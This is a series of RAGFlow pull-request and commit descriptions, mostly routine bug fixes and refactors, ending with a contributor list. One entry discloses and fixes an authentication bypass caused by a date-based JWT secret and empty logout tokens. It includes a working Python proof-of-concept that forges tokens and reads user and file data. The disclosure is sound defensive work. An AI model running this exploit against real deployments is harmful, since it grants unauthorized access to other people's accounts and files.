Feat: conversation completion can specify different model (#9485)
### What problem does this PR solve?
Conversation completion can specify different model
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Fix: KB folder may not there while creating virtual file (#9431)
### What problem does this PR solve?
KB folder may not there while creating virtual file. #9423
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
Feat: Fixed the issue where some fields in the chat configuration could not be displayed #3221 (#9430)
### What problem does this PR solve?
Feat: Fixed the issue where some fields in the chat configuration could
not be displayed #3221
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Fix:TypeError: OllamaCV.chat() got an unexpected keyword argument 'stop' (#9363)
### What problem does this PR solve?
https://github.com/infiniflow/ragflow/issues/9351
Support filter argument before invoking
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
---------
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
### What problem does this PR solve?
All models pass the mock response tests, which means that if a model can
return the correct response, everything should work as expected.
However, not all models have been fully tested in a real environment,
the real API_KEY. I suggest actively monitoring the refactored models
over the coming period to ensure they work correctly and fixing them
step by step, or waiting to merge until most have been tested in
practical environment.
### Type of change
- [x] Refactoring
Fix: update broken agent completion due to v0.20.0 changes (#9309)
### What problem does this PR solve?
Update broken agent completion due to v0.20.0 changes. #9199
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
Fix: migrate deprecated Langfuse API from v2 to v3 (#9204)
### What problem does this PR solve?
Fix:
```bash
'Langfuse' object has no attribute 'trace'
```
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
```bash
Traceback (most recent call last):
File "/home/infiniflow/workspace/ragflow/api/db/services/document_service.py", line 635, in update_progress
info["progress_msg"] = "%d tasks are ahead in the queue..."%get_queue_length(priority)
File "/home/infiniflow/workspace/ragflow/api/db/services/document_service.py", line 686, in get_queue_length
return int(group_info.get("lag", 0))
TypeError: int() argument must be a string, a bytes-like object or a real number, not 'NoneType'
```
This issue can happen very rare. When a `stream` is first created, the
`lag` value may be nil, which can cause this issue. However, once any
message is synced, the `lag` will become `0` afterwards.
```bash
> XINFO GROUPS rag_flow_svr_queue
1) 1) "name"
2) "rag_flow_svr_task_broker"
3) "consumers"
4) (integer) 0
5) "pending"
6) (integer) 0
7) "last-delivered-id"
8) "1753952489937-0"
9) "entries-read"
10) (nil)
11) "lag"
12) (nil)
```
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
- Add Generator return type annotation for tts method
- Import typing.Generator for type hints
### Type of change
- [x] Refactoring
### What problem does this PR solve?
#9082#6365
<u> **WARNING: it's not compatible with the older version of `Agent`
module, which means that `Agent` from older versions can not work
anymore.**</u>
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Fix:When deleting a knowledge base that is currently performing a parsing task, the parsing queue will not be deleted! (#9018)
### What problem does this PR solve?
https://github.com/infiniflow/ragflow/issues/8995
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
---------
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
Fix the case where pages variable might be None
### What problem does this PR solve?
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
Issue #8602
`parser_config.task_page_size` can be defaults to `None` when dataset is
created by API. This was not handled by the `task_executor.py` code thus
`page_size` could sometimes be `None` which will cause issue in line
351.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
Fix chunk number error after re-parsing. #8503.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
Fix: some cases Task return but not set progress (#8469)
### What problem does this PR solve?
https://github.com/infiniflow/ragflow/issues/8466
I go through the codes, current logic:
When do_handle_task raises an exception, handle_task will set the
progress, but for some cases do_handle_task internal will just return
but not set the right progress, at this cases the redis stream will been
acked but the task is running.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
---------
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
### What problem does this PR solve?
Add MCP server dashboard operations.
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
This is a cherry-pick from #7781 as requested.
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
Refa: Implement centralized file name length limit using FILE_NAME_LEN_LIMIT constant (#8318)
### What problem does this PR solve?
- Replace hardcoded 255-byte file name length checks with
FILE_NAME_LEN_LIMIT constant
- Update error messages to show the actual limit value
- #8290
### Type of change
- [x] Refactoring
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
Fix: avoid mixing different embedding models in document parsing (#8260)
### What problem does this PR solve?
Fix mixing different embedding models in document parsing.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
---------
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
### What problem does this PR solve?
Progress is only updated if it's valid and not regressive.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
Fix: Authentication Bypass via predictable JWT secret and empty token validation (#7998)
### Description
There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.
The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.
### Source - Sink Analysis
**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token
**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token
### Proof of Concept
```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys
def exploit_ragflow(target):
# Generate token with predictable key
daily_key = str(date.today())
serializer = URLSafeTimedSerializer(secret_key=daily_key)
malicious_token = serializer.dumps("")
print(f"Target: {target}")
print(f"Secret key: {daily_key}")
print(f"Generated token: {malicious_token}\n")
# Test endpoints
endpoints = [
("/v1/user/info", "User profile"),
("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
]
auth_headers = {"Authorization": malicious_token}
for path, description in endpoints:
print(f"Testing {description}...")
response = requests.get(f"{target}{path}", headers=auth_headers)
if response.status_code == 200:
data = response.json()
if data.get("code") == 0:
print(f"SUCCESS {description} accessible")
if "user" in path:
user_data = data.get("data", {})
print(f" Email: {user_data.get('email')}")
print(f" User ID: {user_data.get('id')}")
elif "file" in path:
files = data.get("data", {}).get("files", [])
print(f" Files found: {len(files)}")
else:
print(f"Access denied")
else:
print(f"HTTP {response.status_code}")
print()
if __name__ == "__main__":
target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
exploit_ragflow(target_url)
```
**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials
**Version:** 0.19.0
@KevinHuSh@asiroliu@cike8899
Co-authored-by: nkoorty <amalyshau2002@gmail.com>
Kevin Hu
Yongteng Lei
balibabu
Stephen Hu
so95
Liu An
Can Wang
Fee He
Song Fuchang
Jin Hai
Gecko Security